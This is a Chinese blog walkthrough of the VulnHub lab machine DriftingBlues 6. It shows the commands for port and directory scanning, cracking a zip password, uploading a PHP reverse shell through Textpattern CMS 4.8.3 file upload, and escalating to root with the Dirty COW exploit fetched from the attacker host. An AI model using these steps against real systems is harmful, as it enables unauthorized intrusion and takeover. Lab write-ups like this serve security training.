• vulnhub DriftingBlues: 6


    渗透思路:

    nmap扫描端口 ---- gobuster扫描网站目录 ---- fcrackzip爆破压缩包密码 ---- 利用TextPattern CMS 4.8.3的RCE(/任意文件上传)漏洞getshell ---- 脏牛提权

    环境信息:

    靶机:192.168.101.100

    攻击机:192.168.101.34

    具体步骤:

    1、nmap扫描端口

    sudo nmap -sV -sC -p- 192.168.101.100

    扫描到80端口,并且发现了robots.txt文件

    2、gobuster扫描网站目录

    浏览器访问http://192.168.101.100/robots.txt

    除了发现http://192.168.101.100/textpattern/textpattern/这个登录页面

    还发现一句提示

    dont forget to add .zip extension to your dir-brute

    因此接下来用gobuster扫描网站目录,并加上-x .zip,来扫描.zip后缀的网站文件

    gobuster dir -u http://192.168.101.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .zip

    扫描到spammer.zip

    3、fcrackzip爆破压缩包密码

    下载http://192.168.101.100/spammer.zip,解压的时候发现需要密码

    用fcrackzip爆破密码

    fcrackzip -D -p rockyou.txt spammer.zip -u

    得到密码myspace4

    解压spammer.zip,密码输入myspace4,得到creds.txt

    unzip spammer.zip

    查看creds.txt,里面有http://192.168.101.100/textpattern/textpattern/的用户名和密码mayer:lionheart

    4、利用TextPattern CMS 4.8.3的RCE(/任意文件上传)漏洞getshell

    以用户名mayer,密码lionheart登录http://192.168.101.100/textpattern/textpattern/

    登录成功后在左下角发现站点是基于Textpattern CMS v4.8.3搭建的

    Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers中搜索Textpattern CMS,发现一个4.8.3版本的RCE:

    TextPattern CMS 4.8.3 - Remote Code Execution (Authenticated) - PHP webapps Exploit

    把这个exp下载下来之后执行,发现无法执行成功,报错

    后来又试了几个exp,都执行失败,寻思可能和这个站点总是出现告警提示有关

    最后,根据exploit-db上的exp看出这是个任意文件上传造成的rce,并且文件上传的页面地址是http://192.168.101.100/textpattern/textpattern/index.php?event=file

    在该处上传kali上的/usr/share/webshells/php/php-reverse-shell.php,上传前需要修改$ip和$port分别为攻击机ip和攻击机监听的tcp端口。

    上传完成后,访问该文件的url为http://192.168.101.100/textpattern/files/上传的文件名

    (这边看exp原本我以为url是http://192.168.101.100/textpattern/textpattern/files/上传的文件名,但这个不行,后来试出来是http://192.168.101.100/textpattern/files/上传的文件名)

    在攻击机上nc监听8888端口,浏览器访问上传的文件后即可获得靶机www-data用户的反弹shell。

    nc -nlvp 8888

    再输入如下命令即可得到交互式shell

    python -c 'import pty; pty.spawn("/bin/bash")'

    5、脏牛提权

    从攻击机上获取linpeas.sh并执行(攻击机上先执行python2 -m SimpleHTTPServer 80以开启http服务)

    wget http://192.168.101.34/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh

    找到内核提权的方法dirty cow,exp下载路径为https://www.exploit-db.com/download/40847

    靶机/tmp目录下执行

    wget http://192.168.101.34/40847.cpp && g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil && chmod +x dcow && ./dcow

    执行成功,获得root用户密码dirtyCowFun

    执行su -密码为dirtyCowFun,提权到root,并在/root下找到flag.txt

  • 相关阅读:
    Android --- Service
    解决Django执行定时调度器出现MySQL server has gone away
    【C++】之模板初阶
    SMOGN算法Python实现:解决回归分析中的数据不平衡
    机器学习技术(六)——有监督学习算法之线性回归算法实操
    《程序员修炼之道》读书笔记
    2022牛客暑期多校训练营3(总结+补题)
    前后缀分解
    【Linux】文件操作和文件系统(详解)
    基于html+css的图展示95
  • 原文地址:https://blog.csdn.net/elephantxiang/article/details/126682918